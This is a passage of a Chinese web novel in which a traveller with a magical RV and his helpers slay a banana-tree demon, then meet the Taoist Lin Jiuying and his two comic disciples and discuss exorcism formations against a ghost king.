肥大的芭蕉叶在黑暗中如同巨掌,相互摩擦,发出沙沙的声响,在这寂静的夜里显得有些诡异。
古德微微放慢了车速,这片芭蕉林给他一种不太舒服的感觉,阴气似乎比别处重些。
就在这时——
“救命啊——!”
“弟弟!弟弟你在哪里?快回来!”
一个惊恐到变调的年轻男声,猛地从芭蕉林深处传来,撕破了夜的宁静。
古德眼神一凝,将车子缓缓停靠在路边,依旧保持着隐匿状态。
他透过车窗,看向声音传来的方向。
紧接着,一阵慌乱的脚步声由远及近,伴随着树枝被剧烈刮擦的哗啦声。
只见一个穿着粗布短打、头戴破草帽的年轻男子,满脸惊恐,连滚带爬地从芭蕉林里冲了出来,一头扎上了官道,看那方向,正是朝着任家镇那边亡命狂奔。
他嘴里还不住地喊着“有鬼”、“赶紧去找九叔”。
第263章 东家,可能需要你牺牲一下色相
这人他跑得极快,气喘如牛,眼神涣散,似乎身后有什么极其可怕的东西在追赶。
巧的是,古德的房车正处于全隐匿状态,就停在他奔跑路径的侧前方不远。
这男子也是运气好,奔跑的轨迹刚好与车身擦肩而过,带起的风甚至吹动了路边几丛野草。
若是他再偏过来几尺,以他这慌不择路的速度,一头撞在隐形的钢铁车身上,后果不堪设想。
这突如其来的变故,让车内的三人都警觉起来。
“好险……”
副驾驶的阿草拍了拍胸口,刚才那一下要是撞上,虽然车没事,但那人估计得够呛。
此时,坐在后面休息区的无心也早已被惊动,凑到了驾驶舱,和阿草一起,神色严肃地看向芭蕉林的方向。
“老板,”阿草皱了皱秀气的小鼻子,仔细感应了一下,对古德说,“这林子里有股妖气,是草木成精的味道……和我算是同类。但是……”
她又仔细嗅了嗅:
“她的气息很驳杂,充满了怨念和血煞之气,已经害过人了,而且不止一个。”
无心也点了点头,他虽然没有阿草对同类气息那么敏感,但作为经验丰富的驱魔人,对妖邪之气的感知也不弱:
“的确有妖气,还夹杂着生人惨死的怨气。东家,这芭蕉林里的东西,不干净,已经成祸害了。”
古德自然也感觉到了。
他修炼《黄庭内景玉经》和《混元六九篇》后,灵觉敏锐,能清晰地感知到那片芭蕉林中盘踞着一股阴冷、淫邪、带着血腥味的妖气,正在林间缓缓游弋,似乎在搜寻刚才逃跑的那个猎物。
“芭蕉精么……”
古德摸了摸下巴,记忆的闸门打开。
这场景,这配置……怎么有点像九叔某部电影里的开局?
古德脑子里灵光一闪,这不是……《一眉道长》!
开头就是芭蕉精害人,被害人的兄弟跑去求救。
这么说,刚才跑掉的那个男人,就是去找林九英林道长了?
好奇心一下子被勾了起来。
原本只是路过,没想到还能碰上这出剧情。
古德摸了摸下巴,嘴角露出一丝玩味的笑容。
既然碰上了,不管管好像说不过去,而且还能顺便测试一下新员工的能力,或许……还能偶遇一下林九英。
他转头,看向一脸跃跃欲试的无心和面带厌恶的阿草,嘴角勾起一抹笑容:
“看来,咱们上任家镇之前,还能顺手做个热身运动。既然这妖精害人不浅,那就替天行道,灭了它。顺便……”
他看向阿草:“取了它的妖丹,给你补补身子。草木精灵的妖丹,对你应该大有裨益。”
阿草眼睛一亮,用力点头:“谢谢老板!”
无心一听,立刻挺起胸膛,往前一步,脸上写满了“让我来表现”:
“东家!这种小妖,哪用得着您亲自出手!交给我就行!您和阿草姑娘在旁边看着,给我压阵就好!”
他刚签了合同,拿了高薪,正愁没机会表现一下自己的价值。
对付一个害人的芭蕉精,在他看来正是展示能力、巩固饭票的好机会。
古德看着无心积极的样子,笑了笑,点头同意:“行,那这次就交给你了。解决得漂亮,回去让阿草给你加餐,汉堡管够。”
“汉堡!”
无心眼睛瞬间放出光来,脑海里立刻回忆起那难以言喻的美妙滋味,干劲更是十足。
“东家您瞧好吧!”
话音未落,他已经利索地推开车门,身形敏捷得像只狸猫,几个起落就冲进了那片幽暗的芭蕉林。
古德不紧不慢地带着阿草也下了车。
他心念一动,将房车的伪装从隐匿模式切换回了带篷马车形态,并停在官道旁一个显眼的位置。
这样,等会儿如果真是九叔过来,看到这辆马车,也不会觉得太突兀。
两人循着无心留下的细微痕迹,慢悠悠地走进芭蕉林。
夜晚的林子里光线更暗,只有些许微弱的月光透过肥大的叶片缝隙洒下,形成斑驳陆离的光影。
空气中弥漫着芭蕉叶特有的青气,但更浓的是一股淡淡的像
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是石楠花的腥味和若有若无的阴冷。
没走多远,就看见无心站在一株格外粗壮、叶片肥厚的芭蕉树下。
树下瘫倒着一个穿着民国普通百姓蓝色粗布衣裤的年轻男子,双目紧闭,脸色灰白,气息微弱。
更诡异的是,这人身上被人用粗糙的红布条胡乱缠绕了几圈,头上还歪戴着一顶小小的可笑的绿帽子,胸前也别了朵褪色的红花,打扮得不伦不类,像个被随意装扮起来的傀儡新郎。
“东家,您看。”
无心指着昏迷的男子,对走过来的古德解释道,“这男的阳气亏损得厉害,魂魄都有些不稳,应该是被那芭蕉精迷惑,当了新郎,差点被吸干。幸好咱们来得及时,再晚点,怕是救不回来了。”
他又指了指林子深处一间亮着昏黄烛光的小木屋:
“那边应该有人住,可能是看守芭蕉林的。刚才跑掉那个,估计是他兄弟,搬救兵去了。”
古德点点头,扫了一眼昏迷的男子和那间木屋,心里的猜测更确定了几分。
这八成就是《一眉道长》开篇,芭蕉精害人,九叔被请来救场的剧情。
只不过,现在被他截胡了。
“芭蕉精呢?解决了?”古德问无心。
无心脸上露出一丝尴尬,挠了挠头:
“这个……东家,这芭蕉精有点麻烦。这妖精很狡猾,它的本体应该就藏在这片芭蕉林里,但具体是哪一株,它利用整片林子的同类气息做掩护,隐藏得很好。我粗略感应了一圈,没能立刻锁定。除非……”
“除非什么?”古德问。
无心看了看古德,表情变得有点古怪,眼神里似乎憋着点笑意:
“除非用点特殊的法子,把它‘引’出来。这芭蕉精,性属阴,最是喜好……喜好未破元阳的童男子精气。
若是有符合条件的生人,以特定方式稍稍泄露一点纯阳气息,就像黑夜里的灯火,它自己就会忍不住主动现身……”
说着说着,无心的目光就很自然地落在了古德身上,上下打量着,那意思再明显不过。
第264章 守株待兔?啊不,守株等九叔
古德嘴角一抽,没好气地瞪了他一眼:
“想什么呢?出的什么馊主意!你要引,自己上,别打我的主意。我跟你讲,我早就……早在一个风雨交加的夜晚……”
无心却一脸“我早就看穿了”的表情,摇了摇头,很笃定地拆台:
“东家,您可别唬我。我虽然道行可能不如您,但这双眼睛看人阳气还是准的。您周身气息圆融纯正,阳气充沛且凝练,分明就是元阳未泄之相,纯正的童男子嘛。这有什么不好意思承认的?”
“去去去!”
古德被他看得有点不自在,挥了挥手,“少在这儿耍贫嘴,赶紧想办法干活。再胡说八道,汉堡没了。”
他转过头,对身边的阿草道:
“阿草,这妖精跟你是同类,虽然走了邪路。你帮忙感应一下,找出它的本体具体位置。这对你来说,应该不难吧?”
阿草早就跃跃欲试了,闻言自信地点点头:
“没问题老板!交给我!这林子里的花花草草,都归我管!”
她拍了拍小胸脯,然后对无心道,“无心大哥,你跟紧我,我们去找那坏妖精的本体。老板,您去那小屋里歇歇脚,等我们好消息。”
古德从善如流,走向那间透着灯火的小屋。
他心里琢磨着,在这里等林九英过来,正好可以聊聊。
顺便也想想,接下来怎么多接点系统订单,多攒点阴德。
至于无心能不能搞定那芭蕉精,他倒不怎么担心。
阿草带着无心,开始深入芭蕉林。阿草闭上眼睛,放开自己的灵觉,与这片林子里的草木建立联系。
她是草木之精中的佼佼者,道行深厚,灵性纯粹。
而那只芭蕉精,虽然借着地利和害人修为增长迅速,但根基浅薄,戾气污染了灵性。
一开始,芭蕉精似乎察觉到了威胁,试图操控周围的芭蕉树移动、聚拢,制造障碍和幻象,掩护自己的本体。
只见附近的芭蕉树无风自动,枝叶胡乱挥舞,发出哗啦啦的响声,地上的影子也扭曲变幻,试图迷惑来者。
“哼,雕虫小技。”
阿草轻哼一声,也展开自己的法力。
一股更加柔和充满生机的草木灵气以她为中心荡漾开来。
那些被芭蕉精强行驱使的芭蕉树,接触到阿草的灵气,立刻像是被安抚了一般,躁动平息下来,枝叶恢复自然垂落的状态,甚至隐隐向阿草传递出亲近和服从的意念。
那芭蕉精的道行如何能与阿草相比?
不过挣扎了几下,对整片芭蕉林的控制权就被阿草轻易夺取。
阿草的灵觉如同水银泻地,迅速渗透过每一株芭蕉,感知着它们细微的差异和内在的气息。
很快,她睁开眼睛,指向林子深处一个略显偏僻的角落:
“在那里!那株最高的,叶片背面有暗红色纹路的!”
无心紧随阿草,来到那株芭蕉前。
这株芭蕉确实比周围的同伴都要高大粗壮,叶片肥厚得有些异常,在月光下泛着一种不健康的油绿色。
仔细看,叶片背面果然有着蛛网般蔓延的暗红色脉络,仿佛血管,隐隐有浊气在其中流动。
一股甜腻中带着腐朽的妖气,正从这株芭蕉上散发出来,其中夹杂着不止一道充满痛苦和怨恨的残念。
无心皱了皱眉,脸上轻松的神色敛去,眼神变得冷冽:
“气息如此污浊,怨念缠身,果然害人匪浅。此等妖孽,留之无用,灭了干净。”
说完,他上前一步,毫不犹豫地咬破自己右手食指指尖。
殷红的血珠沁出,却并未滴落,而是在他指尖凝聚,隐隐透着一层极淡的金光。
他屈指连弹,将几滴血液精准地弹射到那株芭蕉精本体周围的几个方位,隐隐构成一个简单的困阵。
血液落地,并未渗入泥土,反而像是灼热的火星,发出轻微的“嗤嗤”声,在地面留下几个焦黑的印记,一股至阳破邪的气息弥漫开来。
那株芭蕉树猛地一颤,所有叶片无风狂舞,发出尖锐的簌簌声,仿佛在痛苦挣扎。
一股混杂着惊惧和哀求的精神波动传递出来:
“上仙饶命……小妖知错了……再也不敢了……”
无心充耳不闻,眼神毫无波动。
他并指如剑,指尖还带着那缕缕血丝和金光,对着芭蕉树粗壮的树干中心,猛地一戳!
“噗嗤!”
他的手指如同烧红的铁钎刺入黄油,轻而易举地破开了坚硬的树皮,深深插入树身
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之内。
“啊——!!!”
一声凄厉无比、直刺魂魄的尖叫仿佛在两人脑海中炸响,那是芭蕉精最后的哀嚎。
无心的手指在树身内部搅动了一下,似乎在摸索什么。
他体内的某种力量顺着手指注入,与他的血液混合,在树身内部爆发出强大的净化与摧毁之力。
只见那粗壮的芭蕉树干,以他手指插入点为中心,迅速变得焦黑、干瘪、腐朽,如同被瞬间抽干了所有生机,并且这腐朽还在急速向整株树木蔓延。
几息之后,无心手腕一翻,从树身内部掏出了一颗约莫鸽蛋大小、呈不纯正墨绿色、表面萦绕着一层灰黑气息的珠子。
珠子一离体,整株巨大的芭蕉树仿佛失去了最后的支撑,所有叶片瞬间枯萎变黄,然后“咔嚓”一声,主干拦腰折断,轰然倒地,溅起一片尘土。
那颗珠子在无心手中,还微微颤动,里面的灰黑气息试图挣扎。
“这就是它的妖丹,被怨气污染了,不过提炼一下,精华部分对你应该还是大补。”
无心随手将珠子抛给一旁的阿草,语气轻松,仿佛刚才只是捏**一只虫子。
阿草连忙接住,入手感觉微凉,能清晰感受到里面蕴含的精纯草木精华,虽然被怨气包裹,但对她而言确实是大补之物。
她开心地收好,对无心展颜一笑:“谢谢无心大哥!”
“小事一桩,走吧,回去跟东家复命。”
无心甩了甩手上并不存在的污渍,转身和阿草一起往回走。
当他们回到林边小路时,古德已经不在那间小屋里了,而是背着手,站在那辆马车旁,似乎正饶有兴致地看着官道的另一个方向。
就在他们走近的时候,官道尽头,传来一阵急促的脚步声和喘息声。
只见刚才那个逃走的年轻男子,正领着三个人,打着一盏气死风灯,深一脚浅一脚地匆匆赶来。
灯笼昏黄的光晕下,当先一人,一字眉,面容严肃,穿着半旧的道袍,脚步沉稳,目光锐利,正是林九英林道长。
他身后还跟着两个探头探脑、同样穿着短打的年轻人,看样子是他的徒弟。
古德嘴角的笑意加深了。
等的人,总算来了。
第265章 九哥!等你多时了!
夜色笼罩着芭蕉林,清冷的月光洒在泥泞的官道上。
林九英提着灯笼,橘黄的光晕在夜风中摇曳,照亮了他脸上那份惯有的沉稳,以及此刻因匆忙赶路而显出的一丝凝重。
他身后跟着两个跌跌撞撞的年轻徒弟,还有那个跑得气喘吁吁、满脸焦急的汉子。
就在这紧张凝重的气氛中,一声带着笑意的熟悉招呼,突兀又自然地响起:
“九哥!这边!等你多时了!”
林九英脚步一顿,循声望去。
灯笼的光晕边缘,映出一张带着明朗笑容的年轻面孔,不是古德又是谁?
他正悠闲地站在路边的空地上,身后是那辆看起来颇为厚实的带篷马车,在月光下投出敦实的影子。
“阿德?”
林九英着实吃了一惊,眉毛扬起,脸上瞬间被意外和一丝惊喜取代。
他快走几步,来到古德面前,上下打量着他,又看看那辆马车,疑惑道:
“你怎么会在这里?又大晚上的……赶路?”
古德看着林九英那副“你怎么又神出鬼没”的表情,嘴角笑意更深,他挑了挑眉,用略带调侃的语气道:
“当然是等你啊,九哥。我掐指一算,就知道你今晚有会来,特意来这儿候着呢。”
林九英自然不信他这鬼话,但见到古德,心里确实很高兴。
只是眼下救人要紧,他压下叙旧的念头,快速道:
“阿德,见到你真好。不过我现在有点急事要处理,是这位老乡的弟弟被林子里不干净的东西缠上了,得赶紧去救人。
你先在这儿等我一下,或者去前面镇子我的义庄歇歇脚,等我解决了这事,咱们再好好喝一杯,细聊!”
说着,他就要带着那汉子和徒弟往芭蕉林里冲。
古德却伸手虚拦了一下,脸上依旧挂着那副气定神闲的笑容,指了指林九英身边那个急得满头汗的汉子,慢悠悠道:
“九哥,你说的急事,是不是关于他弟弟?”
林九英一愣:“你怎么知道?”
“我还知道,他弟弟被芭蕉精迷了,成了新郎官,现在昏迷不醒,对吧?”
古德继续道。
林九英和他身后的汉子,以及秋生、文才都愣住了,齐刷刷看向古德。
“如果是这事儿,”古德拍了拍手上并不存在的灰尘,语气轻松,“那九哥你可以放心了。人,我已经救了,就安顿在那小屋里。至于林子里那个害人的芭蕉精……”
他顿了顿,迎着林九英惊讶的目光,笑道:
“我手下的伙计刚才已经顺手解决了。妖气已散,你可以感应一下。”
林九英闻言,立刻收敛心神,凝神感应。
果然,之前远远便能察觉到盘踞在芭蕉林中的那股阴邪**的妖气,此刻已然消散无踪,只剩下夜晚山林间正常的草木气息和淡淡阴凉。
他脸上顿时露出惊喜之色,看向古德的目光充满了赞赏和感慨:
“阿德!你……你这动作也太快了!真是……帮大忙了!我还紧赶慢赶生怕来不及!”
那汉子一听弟弟得救,也顾不上别的,扑通一声就给古德跪下了,连连磕头:
“多谢大师!多谢大师救命之恩!谢谢您救了我弟弟!”
古德连忙侧身避开,虚扶了一下:
“老乡快起来,举手之劳。你弟弟就在屋里,只是元气亏损,需要静养些时日,快去看看吧。”
汉子又磕了个头,这才爬起来,对着林九英也匆忙行了个礼:
“林道长,有这位大师在,我就先去看我弟弟了!大恩大德,明日一定登门拜谢!”
说完,便火烧屁股般冲向那小木屋。
林九英看着汉子跑开,转回头,刚想对古德再说几句感谢的话,他身后却传来一个带着明显质疑,语调有点尖细的声音:
“喂,你说你救了人就救了人,你说妖精解决了就解决了?有什么证据啊?空口白牙的,谁不会说?”
另一个声音紧接着响起,语调粗些,带着点自以为是的分析:
“就是啊师父!您可别被人骗了!你看他,细皮嫩肉的,穿得倒是挺体面,可这身板怎么看也不像是有本事降妖除魔的高人,倒像个出来游山玩水的富家公子哥!
说不定是凑巧路过,捡了师父您的便宜,在这里吹牛呢!”
古德抬眼看去,说话的是林九英身后那两个徒弟。
左边那个,瘦瘦小小的,留着个有点滑稽的蘑菇头发型,脸长得有点着急,看上去比实际年龄老成不少,肯定是文才。
右边那个,肩宽背厚,浓眉大眼,穿着短打,有点愣头青感觉的,应该就是秋生了。
两人脸上都挂着明显的不信和一丝不易察觉的不爽,可能是对古德这外来人抢了风头的敌视。
古德饶有兴致地看着林九英身后这一对活宝,心里觉得有趣。
果然是“盛名”之下无虚士,这质疑师父朋友的劲头,这不
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过脑子的发言,确实是林九英那对卧龙凤雏徒弟的风格。
也就林九英这样修为深厚,脾气也算得上好的,才能忍受得了。
林九英听到两个徒弟这番不过脑子的话,脸色瞬间就沉了下来,由刚才的惊喜转为尴尬和恼怒。
再听到他们越说越不像话,更是气得那一字眉都抖了抖。
他猛地转过身,灯笼的光映着他板起来的脸,显得格外严肃。
他先狠狠瞪了缩着脖子往后躲的文才一眼,又盯着梗着脖子还觉得自己在提醒师父的秋生,压着火气,沉声呵斥:
“秋生!文才!你们两个混账东西!胡说八道什么!还不赶紧给我闭嘴!”
他这一发火,两个徒弟顿时蔫了。
文才吓得一哆嗦,差点把手里拿着的东西掉地上。
秋生也被师父罕见的严厉吓了一跳,但嘴上还不肯完全服软,小声嘟囔:“师父,我这不是怕你被人蒙骗嘛……”
“还敢顶嘴!”
林九英气得胡子都差点翘起来,嗯.......八字胡。
“这位是古德古师叔,是为师的好友,道行高深,远在为师之上!你们这两个不成器的东西,本事没学到几分,眼力也没有,还敢在这里大放厥词?还不赶紧向古师叔赔礼道歉!”
他特意强调了师叔二字。
虽然古德并非茅山正式门人,但以他和古德的交情,以及古德展现出的实力和境界,让徒弟尊称一声“师叔”合情合理。
文才最怕师父,见林九英真动了怒,赶紧上前一步,对着古德有气无力、含含湖湖地作了个揖,声音像蚊子叫:
“师、师叔……对不住,是文才有眼无珠……”
说完就赶紧缩回林九英身后,恨不得把自己藏起来。
秋生见师父态度坚决,又看看古德那始终淡定、甚至带着点似笑非笑的表情,心里也有点打鼓,难道真看走眼了?
但他脸皮薄,又是师兄,道歉的话说得更别扭,拱了拱手,硬邦邦地道:
“师叔……刚才是秋生失言了,请师叔莫怪。”
话虽如此,他眼神里那点不服气还是没完全散去。
古德看着这两人,心里只觉得好笑。
他当然不会跟这两个活宝一般见识。
跟秋生文才较真?那岂不是把自己拉到和他们一样的智商水平,然后被他们用丰富的经验打败?
他随意地点了点头,算是接受了道歉,也懒得再多说。
第266章 我看你们像马车
林九英见古德没计较,心里稍安,但脸上还是火辣辣的,觉得在好友面前丢了大人。
上一次这么丢脸还是在富贵镇,这没多长时间,来任家镇又丢一次脸。
他转头又瞪了两个不成器的徒弟一眼,那眼神分明在说“回去再收拾你们”,然后才带着歉意对古德道:
“阿德,真是……让你看笑话了。这两个不成器的东西,就是我这辈子收的债,一个秋生,一个文才。本事没学多少,惹是生非、口无遮拦倒是一流。”
古德笑着摆摆手:“九哥言重了,年轻人嘛,有朝气是好事。”
他这话说得颇有点老气横秋,虽然他看起来比秋生也大不了几岁。
“既然此间事了,”
林九英顺势邀请,脸上重新露出笑容。
“这里也不是说话的地方。阿德,若不嫌弃,不如随我回义庄坐坐?喝杯粗茶,咱们好好聊聊。你这次来得正好,任家镇这边,我也有不少鬼物需要麻烦你了。”
古德本就是来找林九英的,自然不会拒绝,爽快应道:
“好,那就叨扰九哥了。我正想去你那儿看看。”
这时,一阵轻微的脚步声从芭蕉林方向传来。
只见无心和阿草前一后从林间小道走了出来。
无心换上了古德的衣服,收拾干净后倒也显得精神利落。
阿草则依旧穿着那身便于行动的靛青衣衫,月光下肤色白皙,眉眼灵秀。
两人走到古德身边,无心对着古德叫了声“东家”,阿草则乖巧地唤了声“老板”。
然后阿草又对着林九英礼貌地点头行礼:“林道长,好久不见。”
无心见状,也有样学样,对着林九英抱了抱拳,客气道:“林道长。”
林九英回了一礼,目光在无心身上多停留了一瞬。
这是个生面孔,气息沉凝,隐隐有法力波动,修为似乎不弱,而且身上有种……很奇特的、难以言喻的感觉。
他看向古德,用眼神询问。
古德会意,笑着介绍道:
“九哥,这是无心,我新招的伙计,和阿草一样,都是自己人。”
然后又对无心道:“无心,这位是林九英林道长,我的好友,也是这任家镇方圆百里最有名的驱魔道长。后面这两位是他的高徒,秋生和文才。”
无心点点头,表示记下了,然后想起什么,对古德补充道:
“东家,刚才救下的那个男子,我给他度了一丝元气,助他稳住魂魄恢复阳气,现在安置在屋里睡了,已无大碍,静养即可。”
他刚才给那昏迷男子口中滴入了半滴自己的血液。
他那蕴含奇异生命力的血液,对于普通人有补充元气、固本培元有奇效,虽只有半滴,也足以让那被吸干大半阳气的人恢复不少精神。
他说的轻描淡写,但林九英却听得心中微动。
渡人元气,助人稳固魂魄,这可不是简单手段,看来这位无心,也是个有真本事的。
这时,汉子又跑了回来,脸上带着如释重负的喜色,对众人喊道:
“林道长,还有这位大师!我弟弟醒了!气色好多了!真是神了!多谢各位!大恩不言谢,明日我一定带厚礼去义庄!”
说完又回去照顾弟弟了。
林九英见此间事彻底了结,便再次邀请:“阿德,咱们这就回义庄吧。这里夜深露重。”
古德点头,然后对阿草使了个眼色,吩咐道:
“阿草,我和九哥先步行过去,你和无心驾马车稍后跟来。路上慢点,注意安全。”
他这是不想让林九英他们太早接触房车的异常。
阿草心领神会,乖巧应道:“知道了,老板。”
无心自然也明白古德的意思,默不作声地点点头。
然而,旁边的秋生和文才,自从阿草从林子里走出来,两人的眼睛就像被磁石吸住了一样,直勾勾地落在阿草身上,再也挪不开了。
月光下的阿草,身姿轻盈,面容姣好,尤其是那股山野精灵般的灵动清澈气质,是他们在这小镇上从未见过的。
任婷婷已经算是镇花级别的美女了,可跟眼前这位阿草姑娘一比,似乎少了几分脱俗的仙气。
文才看得眼睛发直,嘴巴微张,哈喇子都快流出来了。
秋生稍微好些,但也是心神摇曳,脑子里瞬间
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闪过无数才子佳人、英雄救美的戏码。
听到古德让阿草驾马车,秋生脑子一热,也顾不上刚才的尴尬了,舔着脸凑上前,对古德露出一个自认为英俊潇洒的笑容:
“师、师叔!您看,这夜里赶车多不安全,路又黑。我跟文才反正也没事,不如我们也坐马车,一路上还能给阿草姑娘指指路,帮帮忙什么的!”
文才一听,也连忙小鸡啄米般点头:
“对对对!师叔,我们认路!我们还能帮忙赶车!让我来赶车吧!”
说着,眼睛还不住地往阿草那边瞟。
阿草被这两人赤裸裸的目光看得浑身不自在,忍不住翻了个好看的白眼,都懒得搭理他们,转身就朝马车走去,留给两人一个窈窕的背影。
“你们两个混账东西!还想坐马车?”
林九英简直要被这两个活宝徒弟气笑了,他猛地伸出双手,以迅雷不及掩耳之势,精准地揪住了秋生和文才一人一只耳朵,用力一拧!
“哎幼!疼疼疼!师父放手!”
“师父轻点!耳朵要掉了!”
两人顿时发出杀猪般的惨叫,踮着脚尖,歪着脑袋,刚才那点旖旎心思瞬间被疼痛取代。
“你们还想坐马车?我看你们就像马车!成天不学好,功夫不见长,歪心思一堆!给我老老实实走回去!再敢废话,回去抄《茅山戒律》一百遍!”
林九英一边骂,一边揪着两人的耳朵,转身就往任家镇方向走。
他手上用力,脚下生风,显然是真被气着了。
秋生和文才疼得龇牙咧嘴,又不敢反抗,只能哎幼哎幼地叫着,被林九英像拎小鸡一样拽着往前走,那模样别提多滑稽了。
古德看着这一幕,忍不住笑出了声。
这场景,简直比看什么喜剧片都有趣。
他摇摇头,快走几步,跟上了林九英师徒三人。
月色下,四人的身影渐渐消失在通往任家镇的官道上。
身后,阿草和无心对视一眼,也上了马车。
阿草坐进驾驶位,无心坐在旁边。
很快,马车也缓缓启动,不紧不慢地跟了上去,融入沉沉的夜色之中。
第267章 和林九英探讨针对楚人美的阵法
没过多久,古德便跟着林九英,来到了任家镇郊外的义庄。
这义庄的规模,倒是比古德想象中要大上不少。
黑漆木门,看着有些年头了,门楣上挂着一块旧匾,借着月光勉强能看清“义庄”两个褪了色的大字。
围墙向两边延伸,圈出的地盘着实不小。
林九英掏出钥匙,打开门上的铜锁,吱呀一声推开略显沉重的木门。
里面先是一个颇为宽敞的院子,青石板铺地,虽然有些地方已经长了青苔,裂缝里探出几根杂草,但打扫得还算干净。
院子两边是几间厢房,正对着大门的是一间厅堂,看样子是林九英平日待客和做法事的地方。
最惹人注目的是院子角落的一栋独立房屋,比其它房子都高,有两层,墙体显得格外厚实,窗户开得很小,而且都用木条封着。
即使隔着一段距离,古德也能隐隐感觉到从那屋子里散发出的、若有若无的阴寒之气,想必那就是停放棺椁和尸体的地方了。
林九英脸上露出一丝回到熟悉地方的放松,他对古德做了个请的手势。
“阿德,这边简陋,比不得你四处见到的繁华,随便坐。”
院子里有张老旧的石桌和几个石凳,被夜露打得有些湿润。
古德也不在意,拂了拂石凳便坐了下来。
坐下同时,他心念微动,通过那玄妙的契约联系,向已经驾着房车在附近等候的阿草传去一道简单的讯息:
“阿草,弄点吃的过来,简单可口些,分量够三四个人。”
“好的老板,马上准备。”
阿草清脆的回应立刻在他心中响起。
林九英对站在一旁、还在为刚才的事有些蔫头耷脑的文才吩咐道:“文才,别傻站着,去烧壶热水,泡壶茶来。”
“哦,知道了师父。”
文才应了一声,没精打采地往厨房走去。
林九英这才在古德对面坐下,脸上带着重逢的喜悦和一丝好奇:
“阿德,你之前说要去黄山村?那边情况如何?我前阵子也听闻那边不太平,有几个相识的道友去了,结果不是灰头土脸地跑回来,就是至今音讯全无,我本来也打算忙完手头的事就去看看。”
古德端起文才刚送上来、还冒着热气的粗陶茶碗,抿了一口。
茶是山野粗茶,微微有些涩,但回甘不错。
他略去系统、房车等细节,将黄山村之行简略说了说,重点描述了那浓郁的鬼蜮、众多的怨魂,以及最后遭遇的、能“一气化三清”、疑似已达鬼王层次的楚人美。
林九英听完,脸上露出恍然和凝重之色,手指轻轻敲着石桌:
“原来如此……竟是孕育出了鬼王级别的凶物,怪不得,怪不得……我早该想到的,寻常的鬼祟作乱,绝不可能让好几位道友都折戟沉沙。
阿德,你能全身而退,还逼得她不敢深追,这份修为,我是自愧不如啊。”
他看向古德的目光里,欣赏之余更多了几分叹服。
古德摆摆手:
“九哥过谦了,我也是占了法器犀利和跑得快的便宜。硬拼起来,在那地方讨不了好。”
他话锋一转,“不过,既然撞上了,这事也不算完。我临走时跟她打了招呼,下次再去,就是彻底了结的时候。只是她占着地利,那整片山村都是她的领域,阴气源源不断,颇为棘手。
九哥,你是阵法大家,依你看,若我要在那里动手,彻底拔除这个祸患,该用何种阵法比较稳妥?是困、是耗、还是直接以雷霆手段镇杀?”
谈到专业,林九英精神一振,暂时抛开了对鬼王的忌惮。
他略微沉吟,开口道:
“鬼王已
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成气候,灵智不低,且有地利加持。寻常的困阵、迷阵,恐怕效果有限,反而可能被她利用阴气侵蚀破解。依我之见,当以阳刚正道阵法为主,辅以隔绝阴气的布置。”
他伸手蘸了点杯中茶水,在石桌上边画边讲,“比如‘八卦金光阵’,以八卦方位布下金光符箓或法器,接引日精或纯阳之气,持续净化消磨鬼蜮阴气,削弱其根本。但此阵需镇守法眼之人修为高深,且覆盖范围要足够大……”
古德听得认真,也接着话头说下去:
“我倒是想过用改良的‘四象诛邪阵’,以四方神兽意象**,但担心山村地形不规则,四象方位不易定准,反而留下破绽。或者,用‘北斗七星钉魂阵’?锁定其核心鬼体,逐一破之?”
林九英眼睛一亮:
“北斗钉魂?这思路倒是狠辣精准!不过此阵需以法力引动星辰之力,对布阵者要求极高,且需在夜间方能发挥最大威力。
而夜间阴气最盛,是那鬼王最强之时……或许,可以结合‘五行锁阴阵’,先以五行之力扰乱、隔绝地脉阴气对鬼王的补充,再以北斗钉魂阵直击要害?”
两人越聊越深入,古德有系统灌输的《炁体源流》打底,理论扎实,想法往往天马行空,不拘一格。
林九英则经验丰富,实战考虑周全,尤其对阵法与地脉、天时、阴气流转的关系理解极深。
古德那些跳跃性的思路常让林九英拍案叫绝,觉得打开了新视野;而林九英稳健老辣的补充和实际推演,又让古德获益匪浅,许多之前忽略的细节被一一指出。
一时间,石桌旁只有两人时而激昂、时而低沉的讨论声,混杂着蘸水画图的细微声响。
月色洒在两人身上,一个青衫磊落,一个道袍肃然,倒真有几分世外高人探讨玄机的味道。
第268章 刚好赶上了僵尸先生的剧情?
文才早就送来了茶壶,此刻缩在屋檐下的阴影里,看着师父和那位古师叔讨论得热火朝天,那些“八卦”、“四象”、“北斗”、“五行”的词儿听得他云里雾里,直打哈欠。
文才用手肘捅了捅秋生,压低声音,脸上带着羡慕:
“秋生,你看这位古师叔,好像真挺有本事的,跟师父聊得头头是道。而且你看见没,他身边那个叫阿草的姑娘,长得跟画里走出来似的,真水灵!”
秋生摸着下巴,点了点头,目光却还忍不住往大门外瞟,似乎期待能看到那抹倩影:
“是啊,古师叔是有点门道。不过,能收到这么漂亮的姑娘做手下,这才是真本事啊!”他语气里带着点男人都懂的向往。
文才小眼睛转了转,凑近秋生,脸上堆起谄媚的笑,小声道:
“秋生,我觉得吧,你跟那位阿草姑娘挺般配的。你看你,身手好,长得也俊……要不,你去试试追求阿草姑娘?这样一来,任家镇的任婷婷……就让给兄弟我怎么样?”
他觉得自己这个主意简直绝了,一箭双雕。
秋生一愣,转过头像看傻子一样看着文才,随即没好气地在他后脑勺上轻轻拍了一记:
“你想得美!你这蘑菇脑袋里装的都是豆腐渣吧?那阿草姑娘一看就不是普通人,古师叔身边的人物,是咱们能瞎想的?还追她?
我怕没靠近就被古师叔一巴掌拍到墙上去,抠都抠不下来!至于任婷婷喜欢谁那是她的事,你少打歪主意!”
他嘴上这么说,心里却也有点发虚,阿草那种不食人间烟火般的气质,确实让他连多看几眼都觉得是种冒犯。
“我就说说嘛……”文才揉着后脑勺,嘟囔道。
“说说也不行!”
秋生又给了他一下,两人在屋檐下像孩子般你推我搡地打闹起来,嘻嘻哈哈,将刚才那点小心思冲淡了不少。
秋生觉得待在院子里有点闷,又惦记着明天要去镇上见任婷婷,便嚷道:
“不跟你闹了,我出去转转!”
说着,跑到墙角推出他那辆宝贝自行车,一溜烟蹬着出了义庄大门,很快消失在夜色里。
古德虽然在和林九英讨论,但也分神注意到了秋生的离开,不过他并没在意。
这时,院门外传来轻轻的脚步声。
阿草提着一个多层的大食盒,步履轻盈地走了进来。
她换了身素净的藕荷色衣裙,在月光和院中灯笼的映照下,更是显得清丽脱俗。
食盒里飘出诱人的食物香气,顿时将院子里的茶味和隐约的阴凉气冲淡了不少。
“老板,林道长,宵夜准备好了。”
阿草将食盒放在石桌上,一层层打开。
